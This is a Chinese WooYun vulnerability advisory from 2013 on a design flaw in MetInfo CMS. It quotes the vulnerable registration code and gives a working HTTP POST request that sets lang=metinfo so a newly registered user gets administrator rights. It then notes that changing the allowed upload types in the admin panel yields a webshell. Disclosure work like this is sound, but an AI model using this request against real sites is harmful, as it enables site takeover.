当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2013-045763
漏洞标题：
MetInfo最新版设计缺陷可注册管理员用户直接后台getshell
相关厂商：
metinfo.cn
漏洞作者：
贱心
提交时间：
2013-12-12 19:11
修复时间：
2014-03-12 19:12
公开时间：
2014-03-12 19:12
漏洞类型：
设计缺陷/逻辑错误
危害等级：
高
自评Rank：
20
漏洞状态：
已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2013-12-12： 细节已通知厂商并且等待厂商处理中
2013-12-17： 厂商已经确认，细节仅向厂商公开
2013-12-20： 细节向第三方安全合作伙伴开放
2014-02-10： 细节向核心白帽子及相关领域专家公开
2014-02-20： 细节向普通白帽子公开
2014-03-02： 细节向实习白帽子公开
2014-03-12： 细节向公众公开

简要描述：

MetInfo最新版设计缺陷可注册管理员用户后台拿webshell

详细说明：

member/save.php

$query="select * from $met_admin_array where lang='$lang' order by user_webpower asc";
$usertypes=$db->get_all($query);
$pass1=md5($mm);
 $query = "INSERT INTO $met_admin_table SET
                      admin_id           = '$yhid',
                      admin_pass         = '$pass1',
					  admin_tel          = '$lxdh',
					  admin_email        = '$email',
					  admin_modify_ip    = '$m_user_ip',
					  admin_register_date= '$m_now_date',
					  usertype			 = '{$usertypes[0][id]}',
					  companyname		 = '$companyname',
					  companyaddress     = '$companyaddress',
					  companyfax	     = '$companyfax',
					  companycode	     = '$yzbm',
					  companywebsite     = '$wz',
					  lang               = '$lang',
					  checkid            = '$checkid'";
         $db->query($query);


数据库中当usertype为3时即为管理员权限

$query="select * from $met_admin_array where lang='$lang' order by user_webpower asc";


$usertypes=$db->get_all($query);


usertype	= '{$usertypes[0][id]}'


由代码可看出当lang=metinfo时，usertype=3

POST /member/save.php?action=add HTTP/1.1
Host: localhost
lang=metinfo&yhid=testtest&mm=testtest&mm1=testtest&email=byzhiwen%40vip.qq.com&companyname=ceshia&code=FE2B&lxdh=18210056765&companyfax=&companyaddress=nicai&yzbm=100001&usertype=3&wz=


QQ截图20131212185919.jpg


注册时截包 改为lang=metinfo

漏洞证明：

QQ截图20131212190420.jpg


QQ截图20131212190433.jpg


QQ截图20131212190207.jpg


ps：虽然登录后台很多菜单看不到，但其权限完全是管理员权限，可通过url直接访问相应功能

QQ截图20131212190312.jpg


后台可直接修改允许的上传类型getshell

修复方案：

null

版权声明：转载请注明来源 贱心@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-12-17 08:53

厂商回复：

CNVD确认并复现所述情况，已经由CNVD直接联系软件生产厂商（米拓公司），向其通报漏洞情况。

最新状态：

暂无